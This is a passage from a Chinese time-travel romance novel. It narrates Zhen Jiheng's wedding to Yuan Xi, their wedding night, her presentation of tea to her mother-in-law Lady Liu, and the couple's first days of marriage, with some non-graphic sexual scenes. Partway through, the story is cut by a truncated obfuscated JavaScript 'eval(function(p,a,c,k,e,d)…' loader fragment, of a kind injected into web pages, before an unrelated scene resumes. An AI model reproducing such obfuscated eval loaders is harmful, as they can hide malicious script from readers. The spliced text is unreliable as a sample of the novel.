她悄然笑了:“那提前谢谢兄长了。” “权当回礼,妹妹亲手给我做的那身外袍。”甄尧有些不舍地抚了抚喜帐,才退到一边。 彩舆抬起,围着的几个火盆噼里啪啦地响起爆竹声,两名傧相抓了把莲子,一边砸轿顶,一边祝唱:“佳偶天成,珠联璧合;绵绵瓜瓞,长宜子孙……” 缦双等四个陪嫁婢使皆穿锦绣青衣,堆满笑脸,抱着宝器,紧随其后。 回廊的拐角,孟觉苦正袖手敛神,几分怅然地目送这片热闹。 “你与甄五娘子向来交好,如今亲睹其出嫁,作何感想?”谢容允不知何时出现在身后,信口玩笑。 孟觉苦的确感慨良多,只说:“我在想,若无当年变故,我也该这般将亲妹抱上喜轿,目送她嫁给心爱的男子……” 他不由停顿,似乎忆起了沮丧的事,“怪我,叫华儿平白守丧三年。” 谢容允暗暗冷笑,扫兴道:“缘分之事,最后谁能讲得准?往好了想,若最后所托非良人,守活寡还不如居丧。” 与此同时,季蘅作为本次婚礼的女主人公,却没什么异常高兴或悲伤的情绪,只觉耳畔被吵得嗡嗡发疼,脑子里几乎空白。 当下发生的一切宛如她昨夜的梦,亦真亦幻,晨起时还傻乎乎地拿手比划了下,不出所料,面前是死水一潭,并无变化。 若自己真会那些符箓法术就好了,一挥手,打个把式,便能逃离所有的是是非非。 可又痛苦地想起前几日午睡时的噩梦,在梦里,她勇敢逃婚了,即便双腿灌铅,有千斤重,还是,独自翻越崇山峻岭,离胜利只差一步之遥。 面前是一堵酷似毋极甄宅的外墙。 她艰难爬到墙头,还没来得及跳,忽见浓雾散去,底下露出黢黑的沼泽地,那里站满了人,一个个阴森森笑着,当中,二嫂邓端牵着景湛,三嫂薛婉怀抱小渠儿,异口同声地宽柔道,五娘你快些跑吧,等会儿我们全家还得给你陪葬…… 季蘅忽地打了个冷颤,等再晃过神,人已经被抬进丹楹刻桷的袁府,又过了好一会儿,彩舆终于停在正厅前。 她被傧相搀扶下了轿,堪堪站稳,又要跨马鞍、踩瓦片。 脚底实在软塌塌的,不止因为这一路铺满了厚实的红氍毹。 袁熙站在不远处,温柔望着未来妻子,不胜倾慕,很快两人就要拜堂成亲,成为一对真正的恩爱眷侣,他确信。 “吉时已到,请两位新人共赴青庐!” 赞礼者的嗓门可真大啊,季蘅不由凝神,抬正了手,烟视媚行。 “一拜天地!” “二拜高堂!” 端坐中堂的两人,是邺侯袁绍及妻刘氏。 心里不免有些激动,穿来东汉末年这么久,还是第一次接触大名鼎鼎的人物,实在好奇,传闻中的袁本初究竟长什么模样——如何就把随便赢的局面,打得稀巴烂了!? 可惜她的眼睛完全不敢乱瞟,更别说有所交流,只隐约瞥见,那是个隆准长须、颇具威仪的老帅哥。 “夫妻对拜!” 袁熙在揖礼时,也有些心猿意马,忍不住偷瞧季蘅,且难以克制地扬起嘴角。 赞礼官又清了清嗓子,朗声宣告:“请新人入洞房!” 余下宾客连连起哄,当属魏讽的嗓子最尖利突出:“二公子好福气啊!让大伙儿都瞧个美娇娘的漂亮脸蛋!” 如此良辰,百无禁忌。 唯一觉得冒犯的,大概只有季蘅。她微微低首,把目光藏在团扇后,十分抵触被大家当作稀罕玩意围观,手更是举酸了,只盼着能快些走。 两人被引至新房,对坐在香案两端,面前各有一张漆棜,摆满了祭祀的食物,所谓同牢。 “行却扇礼!” 袁熙心心念念了许久,终于能光明正大地凝望季蘅了—— 灯烛下,华冠珠翠如浮光跃金,熠熠生辉,女子仍低垂着眼,隐约可见缡妆极盛,眉间红痣处贴了花钿,眼梢扫过一抹淡红,尽显柔媚。 殷红的缂丝团扇,用金银线绣了对凤鸟。 那水葱似的纤指,牢牢捻着象牙柄,到底轻轻一拂,露出秾桃般美艳的面庞。 袁熙不禁看呆半晌,也不知是否因为屏气而涨红了脸颊。 侍者跪呈铜鉴,礼官匜水,替新人沃盥,笑道:“男女合室,二姓同食。婚姻孔云,宜我多孙。①” 此类礼仪,季蘅之前都曾跟吕韬认真练习过,所以,很淡然地咽下那些难吃的黍、稷、肉片和酱。 “同牢而食,夫妻一体。” 紧接着,匆匆跟上个小仆,手捧双獾纹桃形的陶盘,盛着两半系红绳的匏瓜。 礼官斟酒,喝道:“行合巹礼!” 他俩便一人拿起一个,配合着对饮。 可惜这黄酽酽的酒,味道甚苦。 “鸾凤和鸣,同甘共苦,嘉礼成!” 两人互相揖礼,而后,袁熙依依不舍地去往前厅应酬,受宾客把盏向他道喜。 季蘅继续跪坐在金丝楠木的软榻上,由着喜婆往帐中扔红枣、桂圆和莲子,念些说烂了也听烂了的祝词。 等这些人都退下,喜房内只剩自己一人,她端正的仪态还没保持一盏茶的时间,便松懈下来,柔若无骨地倚着围栏屏发懒。 时而摸了摸那银红色的纱罗帐子,叹气,今日实在累得浑身不痛快,肚子也饿极了。 眼睛乱瞟,最后竟把主意打到了床铺上的彩果,偷尝了几颗,但需得小心翼翼,不能将口脂吃掉。 现下,天已大黑,外头似乎很欢闹,可新娘却只能独处,季蘅无聊反刍了会儿昨夜的怪梦,又盘算分析起官渡之后的三国走向,逐渐抬不起眼皮,安然睡去。 等再醒来,室内的灯烛变得十分昏黄。 她迷迷怔怔的,下意识想喊缦双和细宝,但旋即反应过来,自己正处于与新婚丈夫的寝幄里。 幸好没睡着多久,袁熙这会子还没有过来,而婢仆们要么分一杯喜酒,要么在外头兢兢业业守着。 季蘅跪坐得双腿发麻,腰肢酸痛,想起身稍微活动一下,也有心思仔细打量周遭——这间寝室十分富丽,比自己原来在毋极老家的繁柯院还要大上很多,似乎什么都齐全。 到底四世三公的汝南袁氏,又坐镇一方,自然要尽显阔绰贵气。 她款步妆台前,那里堆满了袁熙为其搜罗的珍宝首饰,不由百感交集,又盯着铜镜中盛妆的脸庞,微出神。 是自己,却又不是…… 透过镜子,忽然发觉身后不远处,两顶红褐釉凤凰衔珠多枝灯间,设了座彩绘云纹的兰锜,其上孤零零摆放着一具四石黄间角弩,甚是精良威武。 “娘子,有人往这边过来了。”缦双一直候在檐下,隐约瞧见了外面的动静,便轻声提醒。 季蘅出嫁,带了缦双、细宝、绫戈、红枭这四个从小到大贴身伺候的,也私下一一问了每个人,都是真心愿意跟过来的。 “郎主请。” 闻声,她连忙端坐了回去。 没过多久,门被吱嘎推开。果然是袁熙进来了,仪态俊朗的少年仍有些紧张,匀了匀气,默不作声地坐到她左边。 同时进来的还有喜婆和秉烛持物的侍者们。 季蘅不由低着头,佯作害羞貌。 “请郎主亲自脱去新妇之缨。”喜婆满脸堆笑。 袁熙屏息倾身,解下新娘系在发间的许嫁五彩绳。季蘅接过金剪子,各剪下彼此的一缕头发,然后交给喜婆。 “红丝线,同心缕,结发为夫妻,恩爱两不疑。②” 喜婆将那断发与缨绳打结系牢,放进锦囊里,又一并搁在了枕下。 “请新人洞房,永结同好,子孙满堂。” 终于,一套繁琐的流程完毕,这才领着侍者退下。 屋子霎时变得轻悄悄的,季蘅沉默恭候了片刻,未闻袁熙动静,不免抬眼瞧他,而对方早已凝望着自己,灯烛微晃,两人便相视了。 季蘅见 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她踌躇了半晌,还叫不出夫君,只艰难挤出一句:“多谢你。” 成婚前夕,甄尧特意找过袁熙,坦诚道,我这个妹妹虽长得娇娆淑静,实则脾性乖张,行事脱略,吃软不吃硬,先父去时,她只有三岁,是家中最小的孩子,全府上下都珍宝一样偏宠溺爱,已然惯得刁蛮淘气,还望你以后多担待。 袁熙当时半信半疑,但一瞧见这张漂亮的脸蛋,就无话可讲了,便是性子再差也无妨。 他张了张嘴,想开口说些什么,却忽然顿住,不知该如何称呼面前的女子是好,从前纵有觊觎之心,也只敢客气地叫一声阿甄妹妹,今时却不同往日了,这是自己明媒正娶的妻室,水乳交融的至亲至密之人。 红融融的光焰透过暖帐,像个轻柔的吻,落在季蘅的侧颜,但见她耳下那对宝石坠子,熠然一闪,袁熙莫名想起去岁及笄的场景,鬼使神差地郑重喊道:“甄季蘅。” 不知为何,季蘅感到心头猛然一震,仿佛对方正举着太上老君的紫金红葫芦和羊脂玉净瓶,大声吆喝她的名字,若敢应下,就要被收进去,化为脓水了。 “我能……亲你么?”他缓缓试探,“弥儿。” 没成想有人居然能痴到在新婚之夜当面郑重问出这种话来,难道季蘅拒绝,这位刚拜过堂的夫君就能欣然同意,立马卷铺盖走人? 既已成为夫妻,需得依礼行事。她只好佯作害羞地闭上眼,点了点头,轻嗯了一声。 ——就当领了游戏支线任务,速战速决,赶紧洞房吧,省得闹晚了还耽误自己睡眠。 而袁熙鼓足了勇气才慢慢靠近,但见熹微烛光下,那张美艳的脸庞,衬着更加柔莹妩媚,惹得人春心荡漾。 能感受到他愈发急促的呼吸,然后猛地一下轻触到新娘子的嘴唇。 季蘅本想先矜持会儿,再给予回应,省得暴露自己炉火纯青的吻技。 未料袁熙只是浅尝辄止,很快就离开了。她不由睁开眼,略带疑惑地望着面前的男人。 不是,怎么还没开始就结束了?这小子不会纯情到以为稍微亲下嘴皮甚至连舌头都没伸就能怀孕吧?大哥,别装! 却见袁熙靡然心醉,抿了抿唇,两颊酡红,慌乱道:“我方才、方才好像忘了喘气。” 原是个未经人事的愣头青,好吧,今晚恐怕不能躺平,要多费神了。 季蘅莫名起了兴致,她莞尔,故意伸手轻轻抚过袁熙的嘴角,那里似乎沾了一点自己口脂的红色。 瞧她唇如朱砂,双瞳剪水,以及那若即若离的肌肤之亲,袁熙躁闷又痒酥酥的,意乱情迷地抓住了女子的手。 季蘅倒也不躲,反将他牵得更近,柔婉轻声道:“无妨,下次记着就好。” 另一只手,则抵着对方的胸膛,勾指轻攀弄其衣襟。 如此挑逗,任谁也禁受不住,袁熙眼波微漾,动了动喉结,正当血气方刚的年纪,便是三魂丢了七魄,甚至能感受到,心脏悸动钝响。 他盯着女子微张的唇,很想迎合,腔中涌起股邪火,烧得人口干舌燥,连骨缝的髓儿都开始酥麻。 最后还是季蘅主动,越贴越近。 两人鼻尖相触的咫尺之际,她却故意一顿,往后稍退了退; 而袁熙已然丧失了思考能力,半闭着眼,凭借本能吻了过来,这回不再畏缩,猛烈得像只新硎初试的虎狼…… 隐约听见声砰响,那团火好像迸裂了,不可阻挡地蔓延成漫天星子,一败涂地。 49.敬茶 一夜缱绻,极尽莺颠燕狂之欢,季蘅睡得又香又沉。 袁熙如常辰初刻起身,神采焕发,他倚榻穿靴时,总不禁留恋般瞧了又瞧纱罗帐中的睡颜,上扬的嘴角难掩喜悦,低徊无穷。 “郎主。”几个婢女捧着巾栉,进屋伺候盥漱了。 而檐下,垂手侍立的缦双也瞧见了动静,不住周眄忖度:咱家娘子是不是也该起了?毕竟成亲第一日,新妇按例都要早早向长辈请安的…… 她悄步近前寝榻,欲唤醒季蘅。 未料屏风后擦脸的袁熙提了句:“不急,且让夫人再贪睡片刻。” “诺。”缦双无法,只能继续等着。作为陪嫁,她比旁的寻常下仆还要更谨慎些,生怕弄出差错,就损了甄家的脸面。 直到辰正三刻,季蘅终于自然醒了,她懒洋洋舒展开手臂,眯着眼睛,还有些涣散。 “水。”可怜嗓子喑哑,还沾了鼻音。 缦双听闻,忙掀开寝幌,端着一杯温水催促:“娘子可算睡醒了,都快巳时了,莫敢忘记您今日还得向翁姑行敬茶礼的。” 这一句,仿佛早八闹铃骤然响起,叫季蘅霎时困意全无,是噌地支起身,彻底清醒过来:“怎不早唤我?” “是郎主不允,留您多睡会儿。他已经用完早膳,现下正当院舞刀弄戟,耍得好威风,瞧着也不急,想必无需赶早。” 郎主称呼的是谁,季蘅将水啜完,半晌才反应过来,有了成亲的实感。而某处隐隐发痛的酸累,难免让她忆起昨夜之颠乱,仿佛降伏一匹烈马。 那小子实在笨拙生疏,找不准地儿,急得额间冒汗,还是在自己的引导下,尝试了几次,柳暗花明,才正经如愿,也不懂何为怜香惜玉,初尝过滋味后,便沉溺入迷,不到力竭,不肯罢休…… “快助我更衣梳妆。” 袁熙住的院子很阔,几乎够毋极的繁柯院两个那么大了,听说足足占了五亩地,婢仆更不少,其中最“处尊居显”的当数徐妪,她是刘氏指派的傅母,打公子幼时就照顾他了,现如今不太料理琐事,东偏屋有间属于自己的居室,喜欢倚老卖老,大家都得礼敬三分。 至于院里真正得力管事的大丫鬟,名唤素沁,年纪在侍婢当中是最大,快二十二了,不过早有婚约在身,对方是老家的远房表兄,姓潘名舟,如今也为袁氏效命,身居百夫长之职,前程还算不错。 除却侍从仓庚,还有淳尾、雏桐这两个侍婢,是常年近身服侍他的,也能说得上话。 “早。” 这会儿淳尾正盯着厨房操办早膳,见细宝过来,她有些热情,忙殷勤问:“你来了呀,可是少夫人有什么吩咐?” “我们娘子早晨一贯胃口小,如今又天热,进不了多少食,只想用点汤汤水水。” “方才彭娘已经叮嘱过了,夫人的饮食习惯我等都已记下。无论豆浆、牛乳、羊乳、酥酪,还有白粥、麦粥、菰米粥……凡她点出来,小厨房这边立马就能预备上。”淳尾笑说,“郎主早前便多次吩咐,少夫人的差事是咱们院里第一要紧的。” 闻此,细宝深感欣慰,差点有些喜形于色了。少将军如此上心,想来她们往后在袁府的日子不会难过了。 今儿是季蘅嫁入袁府的第一日,拜见姑嫜,打扮得必然端庄大方。 瞧见袁熙走进屋内,侍婢们便都知趣地退下,去外头忙活事了。 经过昨夜的欢爱后,袁熙待季蘅也没那么害羞了,甚至有些得寸进尺,时不时就想上手,比如现在,亲昵地从背后揽上她的腰肢。 虽说两人已经“赤诚相见”过了,季蘅仍被突然的触摸吓了一跳,她正低头拭镯子,这一抖,差点磕坏了玉。 “做什么?” 妆台上的首饰都是袁熙亲自挑选、早备好的,就等着她赏脸笑纳,至于带的那些丰厚嫁妆暂时还堆在府库,且等闲下了再抽空打理。 袁熙没说话,只将下巴轻轻搁在她的肩头,闭眼饱嗅一股清新的香气,叫人着迷沉醉。 “别闹,”季蘅被蹭得实在发痒,却是挣脱不开,只能怪嗔地睨了一眼,“我今日若被骂迟了,可全赖你。” 袁熙笑了笑,最后亲了下她的脸颊才肯松手:“好,尽管推到我身上——那先陪夫人慢慢将早膳用完。” 席间,还随俗各饮了一盏扶头卯酒。 大世族的礼节确实繁缛,不过,季蘅也没打算多认真讨好他们袁家人,这几年大家相安无事即可,毕竟再过不久,整个北方就要尽归曹操了。 当这个念头闪过时,她亦有些不合时宜的惶恐。 巳时末,夫妇俩相偕去往刘氏居住的符葆堂,甫一迈进外院门,就发现这会子已经来人不少。 有几名容貌齐整的小姬正俯首低眉地立于檐下,似乎在等待女君传唤。 袁熙知她好奇,贴心地附耳介绍:“最前头并排站着的那两个,是父帅近来较为宠爱的妾妇,往后一些节庆,估计会再碰见。” 季蘅颇惊讶,毕竟那些女子看起来比自己大不了多少,居然就变成名义上的“庶母”了——啧,袁本初如今该有四、五十岁了吧,当真对着如花似玉的她们还下得去手?果然,男人无论多少岁,都喜欢漂亮、年轻、新鲜的。 “我是没想到这茬儿,忘了也给她们准备赏贺,怎么办?” “她们哪里配收你我的赏贺,”袁熙却笑了,“不用太在意,平日里少有交道,甚至说不上什么话。” “那我该如何称呼?”季蘅小声问。 总不能统称为少姑一号、少姑二号…… 这倒难住袁熙了,之前都是那些人主动给他请安,他从未正经搭理过,连一个眼神也没多给,想了想:“就直接喊名字吧,左右都是贱籍,只比奴婢地位高些。具体叫什么,我倒不太清楚,等回去你还有什么疑惑的,一并可以问徐妈妈,她对这后院了如指掌。” “直呼姓名恐怕不太妥吧,毕竟是长辈。” “无妨。父帅贵为邺侯,姬妾多得何止那几个,怕连他自己都记不清具体了,时而攻下一座城,便有一溜串儿的新面孔涌进后院,左右都扎堆晾着,全归阿母管束。你待宿氏稍微尊敬些就成,唤一句夫人,她是四弟的生母,算有点身份头脸。哦,还有个乌桓的胡姬,如今最为得宠,父帅常把她带到身边,你应当也不常碰见。” 季蘅听得五味杂陈,有一肚子的话想吐槽,这到底是纳妾,还是扫货买手办? 好在素沁十分机灵,凑到她耳边简单告知,左边的那位叫采商,右边的叫应徴。 季蘅点点头,安静乖巧地紧跟着袁熙进屋,不过,在经过那群姬妾时,她还是特意停步,略略施礼,以示友善。 待到了正厅,先听见一道响亮的通传声:“二公子过来请安了!” 绕过金围屏,瞧见端坐正中央的刘氏,抿了口茶,面色似乎不太好看,她旁边的席子,坐着敏成夫人,而邺侯,并未现身;左下方是几乎没有搽粉点黛的宿氏,大嫂文悫君则恭敬跪坐在右下方,温令磐座次之。 “孩儿携新妇甄氏,问母亲安、问敏成姑母安。” “儿妇甄氏,拜见君姑、敏成夫人。” 盯着两个孩子行了跪拜大礼,后头三四个奴仆小心翼翼把那些赠与尊长的赏贺箱子抬了进来,刘氏一抖搂,将手中的白玉珠串收进宽袖,她扬起下巴,稍满意但又不太够,是对新妇淡漠道:“近日军务繁多,君侯难以抽身过来喝茶见礼,你不必吃心,也不要埋怨,这来日方长,总有你孝敬舅姑的时候。” 季蘅不禁露出端庄稳重的假笑,隔空拍起马屁:“而今国家危难,世道艰难,幸有邺侯匡时济世,呕心沥血,是以大义,儿妇崇之尚之,安敢拘泥小节,有所怨言?多谢君姑为儿妇费神。” 好伶俐的一张嘴。刘氏挑不出错,却也不太喜欢,微抬了抬手:“免礼吧,都坐下说话。” “诺。” 可刚落席没多久,她又唤:“好孩子。” 季蘅愣了一下,见她确实是看向自己,连忙抬臂拢手,恭敬颔首:“在。” 瞧这生疏样子,毕竟是个刚出阁的年轻女郎,拿捏拿捏也不会太恣肆的,刘氏微笑道:“如今嫁进袁府,从此便是一家人了。往后若遇上什么事,只管来找阿母做主。” “有君姑怜惜,儿妇大幸。” 又是虚情假意的一拜,场面话自然不能少。 身旁瞿妙兰附和:“端的是有些门第出身的娘子,果然气度不凡,不愧为咱袁府的新妇。” “嗯,自是比那小门小户的瞧着要贴心些。” “君姑谬赞。” 文悫君知道,这是在点拨自己和令磐,她心宽,倒不甚介意,反而抓尖儿陪笑脸:“您说得正是啊。记得上回见娣妇,还是在君姑旧岁的寿宴上,那样绝色的佳丽,我心里也多少惦念着,如今再见,人竟又美了几分。不枉二弟此番费心求娶了。当真是好福气啊!” 季蘅被她们夸得如坐针毡,正琢磨措辞,欲开口谦虚一番时,刘氏先说话了:“也见过你的妯娌,兄公袁谭之妻,出身江夏文氏,名唤悫君,你大可随熙儿,直接唤她嫂。” 又得忙不迭向其行礼了:“长嫂。” 然后对着文悫君左手边那个略显局促的年轻女子,停顿了下。 “啊,至于这个,你不必对她多礼。”刘氏略笑笑,显得有些轻蔑,“我那不体面的外甥女温氏,也是你三弟的一个侧室。尚儿还未娶妻,想着她与我这层亲戚关系,才叫她过来略坐坐——令磐,往后你可不要恃宠而骄,忘却自己的身份啊。” 季蘅赸赸的,只好对她微颔首,以示问候。 而温令磐这个小可怜宛如惊弓之鸟,连忙敛袂表忠心:“诺,妾万万不敢妄存非分之想!” 不难听出,这话不止敲打她一个,也是在暗戳某人脊梁骨的。 “宿氏,”刘氏忽提亮了嗓门,转而言,“听闻近来小四又病了?” 宿夫人毕恭毕敬地回话:“多谢女君挂念。前日君侯领着妾身与阿买外出游园,山光水色,蔚为壮观,父子俩还玩了会儿蹴鞠。也是丫鬟仆妇疏忽,未及时换掉孩子汗湿的小衣,他本就体弱,故而染上风寒,好在侍医说无有大碍,悉心照料便是。” 季蘅一听,都隐隐替她慌乱,心里连道三句不妙。 刘氏的脸色果然变得更加难看,可不嘛,人家刚推托说邺侯公务繁忙,你就炫耀他最近带自己和儿子出去玩了,摆明是要给人扇一巴掌,还特意打的正脸。 “我是小四的嫡母,怎能不记挂?若他真有个三长两短的,旁人还不知如何戳我的脊梁骨!”她忍不住怒道,“悉心?我看你身边都是些酒囊饭袋,连个小孩子都照顾不好!” “女君说的极是,昨日君侯已经重重惩治过她们了。”宿氏叹气,“只盼着买儿尽快痊愈。” 多说多错,现在可别再提什么君侯了,纯属火上浇油。 “光惩治哪够,蠢材总归蠢材,天生的,便是打死了也变不出聪明脑子!”刘氏阴阳怪气道,“也罢,妙兰,晚些时候你去挑两个机灵稳重的,让她们随宿夫人回幼梨院,好生调教一番那里的人。” “诺,老奴记下了。” 气氛略尴尬,袁熙清了清嗓子,道:“我这做兄长的,竟不知幼弟病了,实在失当,晚些时候,再叫上尚弟一道,替阿母去探望小买。” “你去瞧他做什么,”刘氏却依旧忿愠,“一年有三季半都泡在药罐子里,没什么稀罕的,劳这一趟,省得再给新妇过了病气。” 宿夫人终于后知后觉地有些畏怕,听闻此话,心中实在忐忑,只好更低了头,并拿袖子挡住鼻口。 气氛一时无比尴尬,还是敏成夫人干笑两声,打岔道:“可别聊得太投机就忘却正事,到时辰该奉茶了。”她很清楚兄长偏爱这个宿氏,开口卖个人情也不难。 刘氏这才颔颐,暂且将教训宿氏的事翻篇。 “奉茶——”瞿妙兰施令。 闻言,季蘅不慌不忙地起身,跪坐至刘氏的案前。 她从丫鬟碧峤呈的漆盘里取了一盏,恭敬递去:“君姑请喝茶,愿您顺颂时祺,福寿绵绵。” “好。”刘氏抿了一小口,气定神闲地点点头。 而翠峦很快奉上两个红锦盒,先打开一样较大的,螽斯瓜瓞的玉雕——这是刘氏给新妇的见面礼了。 “瓜瓞绵绵,螽斯延庆,还望你与二郎恩爱美满,子孙繁昌。” “多谢君姑赐物。” 另一样是面长宜子孙连弧纹镜,敏成送的。 “这手信虽轻,却是我在玉虚观请玄阳真人亲自开过光的,聊表贺忱。” “多谢夫人。” “莫再见外了,随二郎唤我姑母就是。” “诺,姑母。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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虽已用上冰块,犹是难解暑气,饭罢,季蘅干脆换了身薄如蝉翼的鲛纱单衣。现下她轻摇团扇,侧卧在竹榻,是完全不想动弹,边嘀咕:“这天热也罢了,还闷得紧。” “不若择个好时候,我带你上山避暑?” “当真?” “那就繁阳的崧留山吧,春迟夏短,万木峥嵘,有深泉瀑布,是个游乐的好去处。” 季蘅眼波微动,忽问:“你去过五行山么?” “五行?”袁熙顺势靠近些,坐在了榻边,“可是河内郡的太行山?它倒有个古名,唤作五行之山①。” 闻此,季蘅不由语塞,她也不清楚西游记里压了孙悟空五百余年的破山在汉朝时究竟叫什么。 诚然那只是一本明朝的神魔小说,并非正史,地名也许子虚乌有。可对于稀里糊涂穿越至东汉末年的她而言,当下的世界已经足够荒诞了,盼望真的存在大闹天宫的齐天大圣,也不算太执迷不悟吧。 “幼时曾听我的傅母讲过一桩半真半假的轶事,传说奸臣王莽篡汉之际,百枚流星状如鸡子,声如雷,从天而降,堕为金木水火土五座联山,殊不知这山下石匣竟压着个本领通天的神猴,不惧寒暑,不吃饮食,有七十二般地煞变化之功,筋斗云一纵十万百千里……②” 袁熙从来不信这类乱力怪神的东西,但见季蘅神采飞扬,说得正起劲,就没有直接否定她的稚趣。 “我自是想带你览尽天底下的奇山异水,可惜那京畿之地如今归属曹操,实在冒险不得。” “勿要牵扰,我不过忽然记起,信口一提便罢。”季蘅拿扇子往人身上轻轻一搭,“莫说司州,仅是魏郡邺县之景,也只品过寥寥。” 袁熙笑了笑,主动帮她揉摩肩背:“崧留山也有猴头,还不止一只。” “听着你倒像经常去的。” “既是避暑胜地,少不得有几座咱家的宅子,从前陪尚弟去过,有次甚至一直住到了仲秋,不过,他是个喜新厌旧的,看腻了那边的景致,这两年再没去了。” 隔了层轻薄的素纱寝衣,她的香肌玉体若隐若现,袁熙愈发心痒难耐,做着什么,嘴上说着什么,皆已空妄,满脑子只剩痴云腻雨。 季蘅也没注意对方身体上的反应,当听到袁尚这个纨绔的名字时,不由想起他曾经的荒唐行径,以及早晨所遇见的袁公那几个姬妾,忽冷笑:“原来你们男子都是这般喜新厌旧、得陇望蜀吗?” 心猿意马的袁熙这才将注意力从女子细袅袅的腰际挪开,他顿了顿,正经答:“我与他们可不一样。” “怎么不一样?难道说,哪怕我以后人老珠黄了,你也不会再纳半个?” 却没想到,他竟信誓旦旦地回道:“无论你愿意与否,我都绝不二色。” 穿越至封建时代,还能听到这样忠实专情的承诺,就算是冲动的哄骗,也难得了。 季蘅有些宽慰,但远不到感动,她从来不是爱情至上的笨蛋,也不敢深信男人一时的承诺。 “顺其自然吧,若真有一天你喜欢上了别人,那人也正好喜欢你……” “忠臣不事二主,而我的妻子只能是你一人。”袁熙迫亟打断。 季蘅不由侧身看他,那清悠悠的眼睛似乎很真诚。 “好,我信。” 其实她是无所谓的,即使这份爱意当真深刻、持久、独一无二。 她更清楚,顺着历史线,自己未来要改嫁给曹丕的。那位更是不折不扣的“渣”帝,爱永恒的美丽,爱至高的权力,不在意的时候,人命便比纸片还薄。 所以,她现在宁愿把丈夫当作一门复杂困难的工作对待,怀揣五日京兆之心,躺平摸鱼; 那些未来可能存在的姬妾们,也没什么争不争宠的,都该是被工作压榨摧残的受害者; 至于情与爱,不过云烟,稍纵即逝…… 见季蘅神色怅惘,袁熙误以为是自己嘴笨犯了错,竟指天发誓道:“若有一日,我真负你了,那就叫我天诛地灭!” 假设他们之间存在一个天平,摆着各自供给的爱,袁熙所站的那端,恐怕已经砸穿地面了。 另一端的季蘅不免感到心虚,尤其每当这种时候她总会不识时务地想起另一个素未谋面的男人,好像全然变成自己的过错,什么天诛地灭,这道雷就要劈向她的脑门儿了,于是连忙抬手捂住对方的嘴:“别胡说。” 袁熙只当被人心疼了,笑得开朗,顺势抱住了妻子,伏身覆去,并扯下那帐幔的钩。 “现在是白日,不妥……” “没事,就一会儿。” 才怪。 新婚夫妇意兴正浓,这一时念起,难免就颠倒衣裳,俾昼作夜,哪还管得上什么规矩礼法,共赴巫山时,两人都被弄得香汗淋漓。 倒是泄.火舒坦了。 50.恩爱 冲了凉,身子清爽,午觉也不禁睡得长久些。 待到日近黄昏之际,云霞堆满西天,像打翻了的胭脂台,晕开一大片艳红。 晚风徐徐,捎走几分热气,这对佳偶颇为安逸,正倚靠在廊庑的枕榻上吃瓜纳凉。 眼前是一丛蓬勃的紫藤萝架,季蘅望着那悬垂的花穗,有些出神,大约想起了昔年家中的好光景,忽道:“后天归宁,我打算在家多住些时日,你们不会催归吧?” 袁熙嚼着甜瓜瓤,惬意看向她,问:“多久是多?” “也许三、五、七日?” 他顿了顿,半晌才婉转提出异议:“既然两家同在邺城,常走动就是,路程不过喝盏茶的功夫,何必一直留宿叨扰?” 季蘅微抬眸,听出对方语气中的犯难,反问:“你不太乐意去?” “怎么会,回门宴我这个做婿的自然要吃,更没有不陪你省亲的道理,况且给外姑、嫂子、小侄们的手信早已备好,我还等着受他们夸呢。”可话到最后,袁熙却支支吾吾的,“只是……” “只是什么?” 他陡然压低声音,耳朵掠过一撇绯红,摆出副忸怩模样:“归宁若在娘家过夜,你我却不能……敦伦。” 话虽直白羞人,他倒算个实诚的,直接吐露了那点小心思。 按封建旧俗,新婚夫妇不能在娘家同房,否则会亵渎神明,招致不幸,使得家道中落。 ——嚯,你们神仙管得可真够宽的! 这行房之事,季蘅虽不反感,但也不多贪恋,后晌才与袁熙折腾过,现下自然没什么兴致了,只管省口,拿冷漠的眼神觑他,就这样沉默了须臾,又觉不够痛快,便抄起净手的湿帕子,用力扔了过去。 “诶!” “擦擦你的涎脸!当真是个登徒子,该我好欺负,便敢迎面说些不得体的羞话。” 也看准了袁熙不会恼自己,才显得肆无忌惮,偶尔撒撒小脾气。何况,她嗓音娇脆,面色不似忿愠,一来二去,倒更像打情骂俏。 “是我孟浪失言了,”袁熙果然很吃这套,眼疾手快地接下那帕子,并小心翼翼陪笑,“适才不过玩笑话,切莫吃心,归宁自是随夫人方便,想在娘家待多久都好。” 这还差不多。 甜瓜也快吃完了,季蘅懒得再跟他计较,捻起扇柄,回首喊了声缦双。 “怎么?”袁熙忙牵住那一角裙摆,生怕她要溜走似的。 “瞧着太阳落山,天也没那么热了,我赶闲将嫁妆里的那些器用物什各处安放了。” “此等劳碌事何需你亲自操劳,尽管交给婢仆去盘库。你带来的那几个丫鬟看着都蛮伶俐的,素沁她们也堪用,交代好了,耗费不了多少功夫的。” 是因娶了新妇,袁熙最近得空,父帅特许暂不用处理军务,也没人敢不知趣地烦他。 他如愿以偿,日日都想陪着妻子,就差把“寸步不离”这四个大字黥在自个儿脑门上。 偏季蘅的禀性生得不一般,虽爱热闹,却不能少了独处的时间,她厌烦被人一直缠着,哪怕对方是亲密爱侣。 其实,也不怪她非要叛逆。那时的女子几乎都以夫为天,没有隐私一说,偏她这个不合时宜的人渴求着自由,不使自己被潜移默化成朽物,忘却了穿越而来的身份。 “怎么,要我继续陪你无聊干瞪眼?” 袁熙若有所思,而后道:“走,带你去处好地方。” 他们住的地方叫景明院,顾名思义,周遭的风景甚是明媚,花花草草开得艳亮。 往东边的小路走上不久,能看见一片绿篱,前面便是倚蕤园。园中有块湖泊,名曰袖青塘,豢养了些珍禽。 盛夏里天色晚得迟,两人慢慢悠悠地经过湖畔,身后也没许婢仆跟着。 季蘅左右顾盼,竟觉得有些眼熟,不住问:“我之前来过这儿?” “嗯。”袁熙指向远处的斑驳木桥,“那日阿母寿宴,你就在附近流连,瞧见了白鹤,甚是欢喜,还记得么?” “好像有点儿印象。” “料想那只鹤也是想着你的。” “什么鹤,”季蘅听懂了臊皮的情话,不由嘲谑,“我看像个呆头鹅。” 袁熙笑了笑,牵起她的手:“既然都是水生,弥儿不若赏脸,与我做对天长地久的好鸳鸯罢?” 说着,拉着她,三步并作两步,趋向湖畔的一间水榭。 那正门牌匾用丰茂宏丽的汉隶写道:厚德簃。 层高大约一丈四尺,视野很阔,绕过水墨丹青的屏风,映入眼帘的便是雅朴但不失贵重的摆设。 这里竟然是个书斋。 